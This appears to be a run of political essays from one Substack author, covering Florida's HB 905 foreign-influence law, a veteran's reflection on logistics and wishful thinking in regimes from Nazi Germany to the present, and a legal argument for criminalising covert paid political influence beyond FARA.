University “linkage institutes,” assembled over decades to trade students and commerce with partner countries, can no longer legally touch a country of concern, and the Florida-China Institute was struck from state law altogether. And yes, these institutes deliver foreign soft power; that is what cultural diplomacy is. So does every Fulbright and every Alliance Française classroom, and the exchange runs both ways, with Florida’s own soft power riding out on every student it sent abroad. Influence of that kind operates in daylight, which is exactly what the covert operations the FBI warns about are built to avoid. A law that cannot tell an exchange program from an influence operation has the same defect as one that cannot tell a spy from a taxpayer.

Officials caught accepting something of value from those countries’ agents on an understanding that their official actions would be influenced, which is to say caught taking a bribe from a hostile foreign power, owe back double its worth. Not prison or removal from office, but a refund at a penalty rate. It remains one of the few provisions pointed at people holding actual power rather than immigrants without any, and it treats them the most gently. Come November, every Florida official’s ethics training must cover foreign influence campaigns, with the Chinese Communist Party’s “United Front” strategy named in the statute itself.

I am no fan of Beijing, but when a state law starts quoting think tank vocabulary, someone ought to ask whose pen produced the draft.

Sister-city termination bills have been a signature product of State Armor, a hawkish group most Floridians have never heard of. State Armor is the creation of Michael Lucci, a political operative the Wall Street Journal has called “China’s biggest adversary in U.S. statehouses.” His group launched in early 2024 with a blessing from Robert O’Brien, Trump’s former national security advisor, and applause from the chairman of the House select committee on the Chinese Communist Party, and it arrived carrying more than a dozen model bills and three model executive orders ready for any legislature that wanted them. The catalog runs from stripping Huawei hardware out of state telecom networks to barring Chinese companies from state procurement, from foreign-agent registries to land restrictions near critical infrastructure, and on to a “Pacific Conflict Stress Test” inviting states to wargame a Taiwan crisis, which Nebraska adopted first. Lucci has worked legislatures across the country since founding the group, and by this June he was in front of Congress testifying about his wins in Nebraska and Texas.

Ask who pays for all this, and the answers thin out. State Armor discloses no funder list. Tax filings reviewed by Responsible Statecraft show the group has been financed largely by the Concord Fund, a nonprofit tied to Leonard Leo, the conservative legal activist best known for steering the federal judiciary rightward through a web of anonymously funded organizations.

Lucci appeared before the Florida House Judiciary Committee in February to testify in support of HB 905, warning of vulnerabilities tied to foreign-controlled technology, on the record and on camera. Florida’s Voice wrote up the testimony approvingly; among outlets with any distance from the project, only the Orlando Sentinel examined the group’s role. The connection between the model-bill shop and the statute is not a buried thread some reporter had to pull. It is a public record that the national press never bothered to read. Florida outsourced a piece of its foreign policy to an out-of-state pressure group that will not name its funders, the group’s founder said so from a witness chair in Tallahassee, and the Legislature never blinked.

One provision requires a close read. Should Washington change Cuba’s diplomatic status, the Governor may suspend Florida’s Cuba restrictions by executive order, though the power is smaller than it sounds. Any suspension dies when the Legislature next adjourns, it cannot be renewed or extended, the same statute cannot be suspended twice without lawmakers’ express blessing, and the authority itself is repealed on October 2, 2028 unless reenacted. Still, this narrow valve exists for exactly one of the seven countries of concern, the one whose diaspora votes extensively in Florida elections, and its expiration date sits comfortably inside the current presidential term.

Six adversaries got a wall, while Cuba was given a wall with a door.

Nobody was watching

How does a law like this pass in our third largest state without becoming a national story? Not for lack of consequence, as it attaches years of prison time to a defendant’s beliefs and sorts family rights by birthplace.

Yet, as of this writing, the Associated Press, Reuters, the New York Times, the Washington Post, and Politico have run no dedicated coverage of it. The local press did its job in pieces: the Miami stations covered the signing, Florida Politics and Florida Phoenix tracked the votes, the public-radio affiliates explained the surrogacy ban to anyone listening. What never arrived was the national desk. The bill traveled through committee under the eyes of Florida’s shrunken statehouse press corps, wire service and metro papers that have shed half their staff in a decade, and local journalism’s collapse presented its invoice. Laws that would once have commanded a correspondent’s full attention now pass without national notice, and that half-light, local coverage without national consequence is the light in which provisions like the surrogacy ban grow best.

Special mention goes to one outlet that embraced the Act warmly.

The Epoch Times, the Falun Gong-affiliated media empire whose brand rests on exposing Chinese Communist influence, cheered the law along. Its former chief financial officer, Weidong “Bill” Guan, was indicted by federal prosecutors in 2024 over an alleged scheme to launder at least $67 million in criminal proceeds, much of it stolen unemployment benefits, into company accounts. Prosecutors say his team bought crime money with cryptocurrency and rinsed it through accounts opened under stolen identities while the company’s reported revenue leapt roughly 410 percent in a year. Guan pleaded not guilty and the company suspended him; prosecutors have noted that the charges sit apart from the outlet’s journalism. His trial was last on the calendar for May 2026. A media company allegedly fattened on laundered fraud proceeds, lecturing the country about foreign financial infiltration, stands as the purest artifact this whole story coughs up.

The groups you’d expect to man the barricades have supplied the loudest silence. When the land law passed in 2023, the ACLU and Asian American civil-rights organizations mobilized inside a month. HB 905 reaches even more deeply into private life on the same discriminatory logic, and so far the coalition has said nothing specific about it. Triage is the likeliest interpretation; the same organizations spent two years litigating the last Florida law only to be turned away at the courthouse door on standing, and are rationing themselves for a legal system that punishes overreach.

Meanwhile, immigrant Floridians have been left to discover their new legal standing one voided contract at a time.

The test ahead

Enforcement is where laws confess, and two confessions are pending. Watch who draws the first prosecution under the sentencing enhancement; if the fifteen-year hammer lands on a protester or a student first rather than an actual foreign operative, no further commentary will be needed. And watch for the first family broken on the surrogacy ban, some lawful resident turned away over a passport who will make an uncommonly sympathetic plaintiff in front of a federal judge.

None of what I’ve said here argues against countering foreign interference. A state serious about the problem could fund counterintelligence coordination with federal task forces and drag foreign money in state politics and universities, where the influence problem lives, into daylight. Diaspora communities could be better shielded from the transnational repression that genuine foreign agents seek to inflict; a Chinese or Cuban dissident in Florida stands in more danger from Beijing or Havana than any legislator ever will. A law along those lines would deserve support, not least from the people this one targets.

Florida chose otherwise by assembling a miniature security state that aims downward at immigrants and protesters while officials who profit from foreign influence get a seminar and a repayment schedule.

Trace the lineage of that choice and you arrive not at counterintelligence but at the alien land laws, loyalty oaths, and the long American tradition of nativism dressed up as security. Provisions that will wreck real lives took effect largely unopposed because the institutions we have built to catch such things, the national press and the civil liberties bar, happened to be facing the other direction.

Florida has become a foreign country of concern in its own right, the kind where sweeping security laws pass without debate and the people underneath them find out afterward.

Get more from Jackie Singh in the Substack app

Available for iOS and Android

Get the app

I first went over in 2003 as a soldier in a maintenance unit, which is to say we kept the things that shoot in working order and handed them back to the people who did the shooting. Later I moved into technology work for defense contractors; the same kind of work, but on machines that fail in quieter ways. What I watched, from the lean improvised chaos of 2003 to my last year working in Iraq in 2011, was the largest swelling of logistical mass I ever expect to see. It is hard to convey to people who were not there how the thing grew.

We arrived with not enough of everything and a great deal of duct tape. By the end, the bases had become small cities doing a convincing impression of peacetime, with their own bus routes and burger franchises and acres of climate-controlled tents, fed by a supply apparatus so vast and so baroque that no single human being could hold a picture of it in mind. After a while, I stopped seeing the War on Terror and started seeing the freight. And the longer I watched the freight, the more I understood that the freight was the war, that everything upstream of it — the doctrine, the speeches, and the maps with the bold arrows — was a kind of weather forecast, while the convoy was the weather.

I have been thinking about convoys lately, which is to say I have been thinking about the present American moment, because the two subjects turn out to be one subject wearing different clothes. There is a line passed around in uniform, old enough that it has been hung on Napoleon and Omar Bradley and a dozen other famous soldiers who probably never said it: amateurs talk strategy, professionals talk logistics. The earliest version anyone can actually source came from a Marine commandant most people outside the Corps could not name, which is the joke folded inside it, because the whole subject of the saying is that the decisive work goes uncredited. It is true as far as it goes, and does not go far enough.

The forecast can say whatever it likes. The convoy arrives or it does not.

We are told to judge the people now steering the federal government by whether they are good at their jobs, as though the obvious answer would settle something. But the competence that matters, the ability to get the right thing to the right place at the right hour, is only the professional’s half of the line. It sits downstream of a condition almost nobody examines, because they assume it the way they assume a floor will bear their weight. That condition is a functioning economy. You can field the finest logisticians in the history of the trade and it will buy you nothing if the thing they are meant to move does not exist, cannot be paid for or has been quietly pawned to cover last quarter’s improvisation. Skill at distribution presumes something to distribute. Stated that plainly, it sounds too obvious to say. This is forgotten daily by men who are paid handsomely to remember it.

Consider the German campaigns from 1939 through 1941, the stretch that gave us the word everyone still reaches for, Blitzkrieg, lightning war, a term that came from the foreign press more than from any German manual and promised more doctrine than ever actually existed. The early victories were real, and stunning, and have hypnotized strategists for three generations. Poland fell in weeks, helped along by a Soviet invasion from the east. France — the great prize, and the humiliation of 1918 paid back — in roughly six. The method turned on speed of a very particular and very brittle kind: armored spearheads punching through and racing ahead of their own infantry, frequently ahead of their own fuel, betting that the enemy would crack in the mind before the spearhead cracked in the metal. When it worked it looked like genius. But the method could stay solvent only so long as it kept winning, because German production alone could not carry it and the gap was filled by theft. Every country overrun was a fresh transfusion of stolen oil, stolen grain, stolen railcars, looted gold revalued to flatter ledgers that had not balanced honestly since before the shooting started.

This was not a flaw the German command stumbled into; it was the design. Adam Tooze’s economic history of the Reich argues that Germany understood it was outweighed by the industrial mass of the United States and the Soviet Union, and gambled on a run of fast victories precisely because it could not survive a slow war of production. Götz Aly has traced how much of the regime’s solvency, and how much of the loyalty it bought at home, ran on looted property and the seized assets of the people it murdered. The Reich was not an economy that happened to be fighting a war; it was a war that had to keep eating in order to impersonate an economy.

None of this means the fascist cannot run a railway on time. Inside the walls of a single operation the regime could be ruthlessly precise. But precision inside one operation is not competence across a war, and what it never had was the thing no timetable can supply, a productive economy to stand on instead of a stolen one and enough held back to survive the first day the plan went wrong. Someone will point to the machinery of the Holocaust as the proof of Nazi ‘competence’: the deportation timetables, railcars, punch-card tabulation, and the camps run like factories. The objection has the history backwards. The precision of the extermination proves the opposite of what it assumes. It was ideology eating logistics, in its clearest and most monstrous form.

By 1944, with the front collapsing and every locomotive needed to carry men and ammunition, the regime was still requisitioning trains to deliver Hungarian Jews to Auschwitz. It worked prisoners to death in the very months it was begging for labor. Resources that could have armed divisions went instead into killing that won nothing. A state that will tear up its own logistics to keep an ideological appointment is not a counterexample to any of this; it is the proof. The death camps were efficient the way a body that has begun to consume its own organs is efficient, and for the same reason.

I have gone to the worst case deliberately because horror on that scale burns away the incidental and leaves the mechanism bare. It outlived the men who built it, and it is loose again.

Look at the Russia that the current American president treats as a model and a friend. Putin runs the same animal in a colder climate — a state turned inside out to feed a war it no longer knows how to stop, kept upright by moving oil through a shadow fleet of obscurely flagged tankers and by converting whatever it overruns into next quarter’s budget line. A country like that does not wage war because its economy is strong. It keeps the war running because the war has become the economy, and the morning the guns go quiet is the morning the books finally have to be read out loud. But that morning can be a long time coming. Four years into his chosen war, with the economy shrinking under him, Putin still instructs his ministers to deliver growth the arithmetic will not produce.

The Russian books are already being read in a whisper: growth gone, the deficit doubling, taxes raised to feed a war that has become its own only reason. None of it has brought the regime down, and none of it will on any timetable a headline can promise. That is the part that should frighten rather than reassure. The model is doomed, but doomed is not the same as stopped, and the whole distance between the two gets paid in years and in other people's lives. A regime that cannot afford to feel the cost keeps borrowing against the future for as long as the future will lend and is likely to turn more brutal as the bill climbs.

Those German victories had a chemical dimension. Pervitin, methamphetamine in tablet form, rode to the front in tank crews and cockpits and infantry packs by the millions of doses. The drug does what it has always done. It advances you tomorrow’s vigor at an interest rate you do not get to negotiate, and repayment is not a thing you may decline.

And it worked, for precisely as long as the war it fueled remained a sprint. Once the blitz bogged down into the long grind in the east, the chemical that won the lightning was worthless in the siege. A Wehrmacht medical officer who served at Stalingrad, the man who handed the pills out, told the writer Norman Ohler as much: in a war of attrition the drug only wore men down, and the sleep they had borrowed came due anyway.

The metaphor doesn’t stay a metaphor; a regime can run on amphetamine logic without a gram changing hands. It draws the same loan against the same future and treats the borrowed momentum as a strategy. Each news cycle brings a fresh outrage to plaster over the exhaustion of the last, and you must never, on pain of collapse, stop moving long enough to total up the cost. The Reich was high in both senses, and the figurative high is the hardier, because it needs no pharmacy. You have only to refuse, structurally and forever, to feel tired.

So the thing was doomed in its bones, and not because the Germans could not fight. They could, though the early victories leaned as much on enemy blunders and luck as on any brilliance of their own. It was doomed because it had been built, whether or not anyone said so out loud, to require an unbroken chain of total victories. No serious reverse. No long stall. No campaign that curdled into a siege and then into a winter. The model carried no slack, no give, no reserve, because reserve is what you lay aside once you have privately conceded that things might go wrong, and the entire psychic machinery of the regime was wired around the certainty that things could not go wrong, that will and audacity and racial destiny would stand in for the dull material facts that dull material men kept raising in meetings. The dull material men were right. They are almost always right, and rarely thanked.

One of those men has a name. Franz Halder, Hitler’s own chief of the General Staff, warned at the outset that time and the economic balance both favored the other side, that the enemy’s means were simply stronger. He was overruled, the way such men are. Later, looking at the front his Führer had stretched to a barely tenable length in pursuit of a map that existed mostly in Hitler’s head, Halder said the decisions had given full power to wishful thinking. That phrase is the whole disease, named by a man with a front-row seat. And it does not stay in 1941.

Watch how the current administration and the men around it actually operate, not how they narrate it, and the same fatal architecture stares back. Hitler’s generals had a private name for the briefings where the reports were prettied up and the burning front went unmentioned: the Schaulagen, or show briefings. A government that asks to be judged by its announcements instead of its supply reports is running the same show, whether or not it knows the word.

A plan is announced with total confidence and zero contingency. The tariff goes on and the markets are assured the pain will be brief and the other fellow will fold first. The mass firing is carried out on the assumption that nothing those people did actually mattered, that the machine will run identically with a third of its parts pulled, that the institutional knowledge walking out the door was never load-bearing. The deal is demanded on the premise that the other side has no leverage and no patience and no memory. In each case the operation is engineered to succeed down one corridor only, the corridor in which the first move lands perfectly and the second move is therefore never required.

And then contact happens, as contact does. Iran was supposed to fold. The administration has now bet on that twice, and it is the second bet that gives the game away, because the first had already been read back to them in plain language and they had refused to hear it.

The first time, the strikes were sold as annihilation. The President told the country the nuclear program had been obliterated, completely and finally. His own Defense Intelligence Agency, doing the dull material work of looking, found it set back by a matter of months and said so. Within two months the man who ran that agency was gone, removed with no public reason that touched the finding, and the press got a scolding for reporting what the assessment had said. No one bothered to rebut the assessment; they simply removed the leader who signed it. The display needed the program to be gone, and an agency still saying otherwise was a problem to be managed rather than an argument to be met. That is the disease in miniature, a state that would rather put out its own eyes than be contradicted by them.

The second time, they ran the same play against the same country, the war Washington and Israel opened at the end of February. Contact came as it always comes. Iran did what a cornered state with a hand on a chokepoint does. It reached for the Strait of Hormuz, the narrow throat through which something like a fifth of the world’s oil has to pass, and it squeezed, and the global economy that no quantity of bluster can repeal felt the grip within hours. The war did not last days. This crisis has run for more than three months, through open strikes, a blockade, and a standoff that has still not formally ended.

As it dragged, the rift between the administration and its own commanders surfaced. Two weeks in, the Army’s most senior officer had stood in a North Carolina weapons depot and told the lawmakers with him that the target list was outrunning the supply, that the country was firing its munitions faster than it could replace them. He had looked at the freight and said out loud that it would not bear the plan. The President’s answer to all of it came in two moves. He went on television and promised to intensify the strikes. The next day that officer was forced out along with two more generals in a single afternoon, the rest of the building learning of it when the public did. This is where the fascist parts company with the merely arrogant. The arrogant man misjudges the wall, and when he hits it he curses and backs up. These men hit the wall, were told by their own experts it was a wall, and answered by firing the experts and driving in harder. Then they did it again.

A movement that will blind itself rather than look at what is in front of it cannot feel a setback in time to bend with one. At the end of it the administration took the nearest exit. What it reached, the Islamabad Memorandum, is not a deal that ends the nuclear program (the reason the whole thing was sold to the public) but an understanding to go on talking about it, a sixty-day window with that question still first on the list of things to be negotiated. The man who began the war over Iran’s nuclear program announced its end without once naming that program. He talked the deal up and still would not call it a victory. He signaled he would skip the formal ceremony in Geneva, where his vice president will sign for the United States.

The war closed the Strait of Hormuz and the deal has reopened it, which sounds like a wash until you read what the people who do the looking now think Iran walked away holding.

The war fought to keep one weapon out of Iran’s hands has, if the assessment holds, left a different one in them, and while a bomb is a threat a state can only make, a chokepoint is a threat it can carry out. And by the other side’s account, the terms read closer to concession than to conquest. The gutted civil service, in the same way, turns out to have been holding up functions nobody upstairs could name until they stopped. The market declines to cooperate with the press release. The corridor, in short, grows a wall halfway down it, and this is the precise instant that gives everyone away, because a flexible operator keeps a second corridor and a third, has held something back, has wargamed the failure in advance not out of gloom but out of professional respect for the universe’s habit of not playing along.

These people have nothing held back — they cannot have anything held back. To keep a reserve you must first have admitted, in the privacy of your own planning, that the main effort might fail, and that admission is the single thing the performance forbids. The strongman cannot be seen to have prepared to lose, so he does not prepare to lose, so he loses in a fashion that is total and surprises only him.

Soldiers have two sentences for all of this, rubbed smooth by a century of use. Hope for the best and prepare for the worst. No plan survives contact with the enemy. These are not pessimism. They are pessimism’s opposite. They are what confidence sounds like after it has grown up, been to a few funerals, and learned that the reserve you kept back and never had to use was not wasted money, that keeping it there at all was the whole reason you are still around to gripe about the budget. Real strength is built around the expectation of friction. The performance of strength is built around denying it, and the denial is load-bearing, which is only to say that the denial is the crack.

I want to be careful here, because the comparison can flatter the present by lending it a historical heft it has not earned in blood, and I have no wish to do that. The point is narrower, and I think more useful. Fascism, whatever else it is, carries a structural indifference to whether the economy in fact goes on functioning, an indifference that flows straight out of treating the economy as a stage set for displays of will rather than as the thing that decides what is and is not physically possible next Tuesday.

What recurs is not the death toll, and I am not claiming it is. It is the wishful thinking named by Halder, the conviction that pure strength of will can overrule arithmetic, and the reflex that always travels with that — which is to remove the person holding the arithmetic rather than absorbing what it says and adjusting accordingly. You can ignore the quartermaster for a season. You can ignore him for two. You cannot ignore him forever, because he is not venturing an opinion. No quantity of conviction at the top has ever once talked a fuel tank into refilling itself out of loyalty.

I learned that in places where failing to learn it gets people killed, which sharpens a lesson considerably. The men now running the government learned the opposite lesson, or learned nothing, in places where failure gets you a better quarter and a softer landing and somebody else’s name on the loss. Where I come from, a loss was a person, and a person stays lost. To them it is a line that moves to another man’s ledger. So they will move it. But the freight was always people. People do not reconcile like a column of numbers.

They are simply, afterward, not there.

A federal grand jury in the Southern District of New York handed up an indictment on September 4, 2024, charging two employees of the Russian state broadcaster RT with routing close to $10 million, by way of offshore shell companies, to a Tennessee outfit called Tenet Media. Tenet in turn paid a roster of American conservative commentators (Tim Pool, Dave Rubin, Benny Johnson, and others) to make videos for YouTube and X. One contract called for four weekly videos in exchange for $400,000 per month, plus a $100,000 signing bonus. Of the roughly 2,000 videos the company posted, not one disclosed a Russian connection. Its founders, the indictment alleges, assured each other in private that their “investors” were “the Russians,” even while telling everyone else the money came from a European financier who did not exist, one Eduard Grigoriann.

The case landed only because RT sat at the top of the chain, and the Foreign Agents Registration Act was written precisely to expose anyone working in this country for a foreign principal. Swap RT for an American billionaire who pushes the same money through the same shells and hides his hand from the commentators and their audiences in just the same way, and nothing happens. No statute is available. FARA falls away the instant the principal is domestic. The Federal Election Commission has twice studied the adjacent problem and twice walked away from it. By 2025, the very agencies that might have closed the gap by rule had been pared back or left unable to function.

Hidden foreign money is a felony; identical hidden domestic money is perfectly lawful. The distinction shapes the whole modern business of paid persuasion. Its domestic half is almost certainly the larger one, and the one no law on the books seems to reliably touch.

At the FEC, the relevant verb has been to decline. Its December 2023 “Technological Modernization” rulemaking refused to require disclaimers on paid political content that operators place on influencers’ own social media accounts. An influencer posting to her own feed, the majority reasoned, resembles a celebrity volunteering an endorsement to a fan base more than she resembles “paid advertising,” even though, as the two Democratic commissioners noted in a separate statement, the campaign cuts her a check the same way it cuts one to a staffer. Ellen Weintraub and Shana Broussard called the result a missed “golden opportunity” to write rules that would reach “behind-the-scenes payments to social media influencers.” Payments of that kind, the majority concluded, fall outside the statutory category of a regulated “public communication.”

None of this is an aberration. When the Commission updated its internet-disclaimer rules in 2022, three commissioners attached statements to an otherwise bipartisan order to make a point of preserving the old “small items” and “impracticability” carve-outs for the online world. Chairman Allen Dickerson and Commissioner Trey Trainor cast those exemptions as backstops suited to a medium where the favored advertising platforms turn over from one election to the next; Commissioner Sean Cooksey, concurring, called those exceptions “critical to maintaining regulatory flexibility for political campaigning online.” Add the two rulemakings together and a good deal of small paid online advertising carries no disclaimer obligation whatsoever, while the practical disclosure floor for paid influencer posts on personal accounts hovers near zero.

In hindsight those two refusals stand as the last fully functioning decisions the Commission would make. It lost its policymaking quorum on the first of May 2025, and by October only two of six seats were filled, short of the four votes the law requires before it can open a case, issue a rule, or hold a hearing. One of the empty chairs belonged to Weintraub, the Democratic chair whom the President had purported to fire by letter in January 2025 and whose seat he has left vacant since. A 2025 petition from the Campaign Legal Center, asking the Commission to do the one thing at issue here and require disclaimers on paid influencer content, now sits with no one able to grant or deny it. The two nominees the President finally sent to the Senate in February 2026, Ashley Stow and Andrew Woodson, are both Republicans, slotted into the two Republican vacancies; he advanced neither the Democrat that congressional leaders had recommended nor anyone for Weintraub’s seat. Their confirmation would restore a bare quorum, though a working Commission would only find itself back at a definitional question it has answered twice already, both times against disclosure.

In the space between that indictment and the Commission’s current silence lies the largest unpoliced channel of paid political persuasion in American life. Tenet was catchable because of the foreign state sitting at the top of it; FARA exists to reach agents who serve a foreign principal. Strip the foreign principal out and you are left with the wider phenomenon, the domestic operator who buys the look of independent civic speech, and that phenomenon has no apparent home in any existing regime. FARA cannot touch a purely domestic principal. The FEC, having begged off twice, now lacks the votes to do anything at all. The Federal Trade Commission polices commercial endorsements, not candidate advocacy or issue speech. Wire- and mail-fraud statutes demand a scheme to obtain money or property, an element covert influence rarely supplies. Campaign-finance disclosure fastens onto committees and expenditures rather than onto the paid speaker who dresses an expenditure up as personal conviction.

A narrow federal crime could fill the gap, though not the crime people usually reach for. Outlaw “disinformation” and you build the very machinery for adjudicating truth that the First Amendment shuts down; conscript the platforms to police contested speech, and you make the problem worse. Missing from the toolkit is a statute aimed at deception about who is paying, one that reaches covert paid influence in a handful of high-stakes settings when it travels alongside knowing or reckless falsehoods of fact. A law like that has to clear serious First Amendment review, steer wide of both the dragnet and the censor’s office, and fit without friction against Section 230, FARA, and the campaign-finance statutes. The constraints are real. Not one of them is fatal.

The gap itself is well charted, and nearly every map ends at the same destination: disclosure. The Brennan Center and the Campaign Legal Center have pressed the FEC to make campaigns label the influencers they pay; the Harvard Law Review has worked out how a disclaimer rule might reach sockpuppets and boosted posts; bills from the Honest Ads Act to the REAL Political Advertisements Act would widen online-ad transparency; and states from Texas to California have written influencer-disclaimer laws of their own. Alicia Wanless has shown how thoroughly the influence industry is built for deniability while FARA’s penalties barely sting. The reflex everywhere is to compel a label rather than write a crime, and the leading election-law scholarship, Richard Hasen’s included, is right to be wary of any freestanding offense of disinformation.

Where a criminal idea does surface, it chases a different lie. The Deceptive Practices and Voter Intimidation Prevention Act would punish a materially false claim about an endorsement, but only when it is deployed to keep someone from voting, and the recent run of state deepfake statutes reaches deception about what a candidate appears to have said or done. Neither touches the deception at issue here, which is not about the ballot or the medium, but about who is paying.

That opening is the one the statute I propose here is built to fill. It leaves disclosure to handle the ordinary case and, above it, adds a narrow criminal layer for the operator who hides his paymaster and lies on the paymaster’s behalf when the stakes run highest.

Where FARA Stops

Congress passed FARA in 1938 to drag Nazi propaganda, then moving through American front men, into the open, and the law works by forcing attribution. Anyone operating inside the United States on behalf of a foreign principal, whether by lobbying, running public relations, or pushing out informational material, must register and lay bare the relationship, the work performed, and the money behind it. FARA assumes, reasonably enough, that a listener deserves to know when a voice that sounds homegrown is really carrying water for a foreign government, a party, or some other foreign principal.

For decades the statute mostly slept. The Mueller investigation woke it, and a run of criminal cases followed through the back half of the 2010s and into the 2020s, among them the superseding indictment of Senator Robert Menendez in October 2023, the prosecution of Linda Sun in September 2024, and Tenet. In the Biden administration’s closing weeks the Justice Department pressed the advantage, issuing a Notice of Proposed Rulemaking on January 2, 2025, the first real rewrite of the FARA regulations in close to twenty years, which set out to shrink the “commercial” exemption, rework the labeling rules for “informational materials” so they fit a world of social-media distribution, and widen the statute’s reach considerably.

The new administration changed course within weeks, though not by killing the rule outright. The January NPRM was expressly spared from the automatic-withdrawal sweep of Inauguration Day’s regulatory freeze, and when the Department scrapped dozens of pending rulemakings in a September 2025 deregulatory purge, it pointedly left the FARA rule off the list. It had survived the purge only to be left for dead. The Department posted the public comments, said nothing further, and let the rule sit in limbo. Around it, the enforcement posture shifted hard. In February 2025 Attorney General Pam Bondi circulated a memorandum steering the FARA Unit toward “civil enforcement, regulatory initiatives, and public guidance” and narrowing criminal cases to conduct resembling traditional espionage by foreign-government actors, all of which represented a pronounced step back from the prosecutions of the preceding years. The FBI’s Foreign Influence Task Force, stood up in 2017 to chase precisely the species of operation Tenet turned out to be, was disbanded. For the foreign-operation cases it had been built around, a statute eight years in the rebuilding was, almost overnight, sheathed.

Sheathed, but not for long, and not for everyone. On September 25, 2025, the President issued a National Security Presidential Memorandum titled “Countering Domestic Terrorism and Organized Political Violence,” NSPM-7, that switched FARA back on and aimed it somewhere new. The memo directs investigations under FARA of non-governmental organizations and American citizens with close ties to foreign governments, agents, foundations, or influence networks, and it landed the same day the Department announced a FARA-flavored inquiry into the Open Society Foundations. The redirection cut straight against Bondi’s own limiting instruction. The cases the FARA Unit had been told to drop were the foreign-operation prosecutions; the cases now urged on it run toward domestic nonprofits and the President’s political opponents. Inside a single year the same statute was narrowed against the next Tenet and pointed at the administration’s adversaries. The enforcement power has been redirected toward whichever targets the party in power prefers.

The PAID OFF Act, which would void the trade and Lobbying Disclosure Act exemptions whenever the foreign principal is a government formally designated an adversary, remains a bill and not a law. And the limits that matter most are older than any of this churn; they sit in the architecture of the statute itself. FARA needs a foreign principal to bite. It compels registration and disclosure, backed by civil and criminal penalties for staying quiet, but does not forbid covert paid influence as such. Hand the Tenet fact pattern to a domestic backer, and FARA simply has nothing to say — and no other federal law steps in to demand disclosure. The 2023 FEC ruling drives it further. Dress the same money up as express electoral advocacy and, so long as the influencer posts from her own account rather than paying for placement, no disclaimer is owed.

Tenet also shows how little reaching a foreign operation can amount to. The indictment charged two RT employees who sit in Moscow and will never stand trial here, and it charged no one in the U.S. — not the commentators the government calls victims, and not the company that paid them. That asymmetry is the model. Foreign operations hire domestic talent precisely so the visible speakers are Americans, insulated from the foreign principal and often kept ignorant of it, which is the configuration FARA handles worst. Criminal FARA has to prove the speaker knew he was acting for a foreign principal, and a deceived front man or a walled-off cutout defeats that proof; the foreign string-puller is reachable in theory while the domestic hands doing the actual talking almost never are. An offense that turns on the hidden paymaster rather than on his nationality reaches the witting domestic middleman missed by FARA: the organizer who knows there is concealed money behind the message and buries it, whether that money is foreign or domestic. It leaves the genuine dupe alone, which is the one place FARA and this proposed statute already agree.

No account of why FARA exists can justify drawing the line at the water’s edge. Our stake in knowing who is paying to move American opinion does not shrink because the payer banks in Delaware instead of a foreign bank.

The Supreme Court recognized exactly this stake in Citizens United v. FEC. Striking down limits on independent expenditures, it nonetheless kept disclosure intact, reasoning that “transparency enables the electorate to make informed decisions and give proper weight to different speakers and messages.” Disclosure has the Court’s blessing. The statutes and agencies meant to carry it out have not kept pace with the way persuasion now travels online, and in the last year several of them have actively run the other way.

Clearing the First Amendment

United States v. Alvarez sets the outer wall, and a proposal like this one has to reckon with more than that wall. The Alvarez plurality voided the Stolen Valor Act because falsity, standing alone, enjoys constitutional protection, and because punishing it in the abstract hands government a power the First Amendment denies it. Justice Breyer, concurring on narrower ground and supplying the controlling rationale, got to the same place through intermediate scrutiny, finding the law too loosely drawn. Each opinion warned against statutes that turn prosecutors loose to pick which lies to punish with no limiting principle anchored to real harm.

A tougher precedent for any covert-influence statute is Susan B. Anthony List v. Driehaus. The 2014 ruling turned on standing, a unanimous Court holding that you can mount a pre-enforcement First Amendment challenge to a political-false-statement law once the prospect of enforcement grows imminent enough. Back before the lower court on remand, the Sixth Circuit threw out Ohio’s statute on the merits, and kindred laws elsewhere have met much the same end. Ohio did not run afoul of the Constitution by wanting to punish lies. It ran afoul by the machine it built to do the punishing, an elections commission authorized to rule on the truth of contested campaign claims through a process that spat out chilling probable-cause findings before the votes were cast and handed partisan complainants a cudgel. The Court’s quarrel was with the machinery, never with the aim.

Lamont v. Postmaster General belongs in the conversation as well, since critics reach for it whenever the government burdens the flow of speech from abroad. Lamont killed a federal statute that ordered the Postmaster General to hold incoming “communist political propaganda” and forward it only if the addressee asked in writing, and it announced a First Amendment right to receive information, propaganda included. None of that bears on what is proposed here. Lamont was about the state physically interrupting delivery to a willing reader. The offense proposed here restricts nothing on its way to an audience; it punishes concealed sponsorship joined to a knowing falsehood, both of which land on the sponsor and on the speaker who knows full well she is lying to her audience about where her words come from. Produce the speech and circulate it with the sponsorship disclosed, and the reader’s right to receive it stays perfectly intact. Even so, the statute ought to spell out a recipient-side safe harbor putting beyond doubt that no liability runs to the audience, a belt-and-suspenders matter of drafting rather than constitutional command.

Read together, those cases counsel discipline rather than surrender. Four features carry the weight.

First, the heart of the offense is covert paid agency rather than falsehood. A speaker is not on the hook for getting facts wrong; the wrongdoing is hiding that an undisclosed principal is paying for the words. Consider the decade’s loudest liar. Juries assessed well over a billion dollars against Alex Jones over the Sandy Hook falsehoods, and the statute would still leave him untouched, because he fronts for no hidden principal and conceals no paymaster; he sells supplements to the audience he deceives in plain sight. Defamation law reached him, which is what defamation law is for, and a statute that also caught Jones would have become the disinformation crime this one refuses to be. Ohio’s campaign-lies statute makes a poor cousin here. The nearer kin are FARA, the FTC’s endorsement rules, and a body of commercial-speech doctrine built on the premise that an audience has a right to know when it is being sold to. Zauderer v. Office of Disciplinary Counsel let the government compel factual disclosure in commercial speech under a forgiving rational-basis-plus standard. Outside the commercial context the review stiffens, as NIFLA v. Becerra and Americans for Prosperity Foundation v. Bonta show, yet each of those decisions involved forcing disclosure of ideological content or of who one associates with, a far cry from disclosing that a sponsor cut the check. From Button down to Bonta, the Court has held one line steady: compelled attribution passes muster when it serves a concrete governmental interest and is drawn narrowly enough to spare protected association. Sponsor disclosure on paid political speech meets that standard however one reads the cases. Free Speech Coalition v. Paxton, handed down in 2025, hints that the Court is recalibrating its scrutiny for content-based rules pegged to particular harms, though that holding sticks to sexual material and minors and travels no further into political speech.

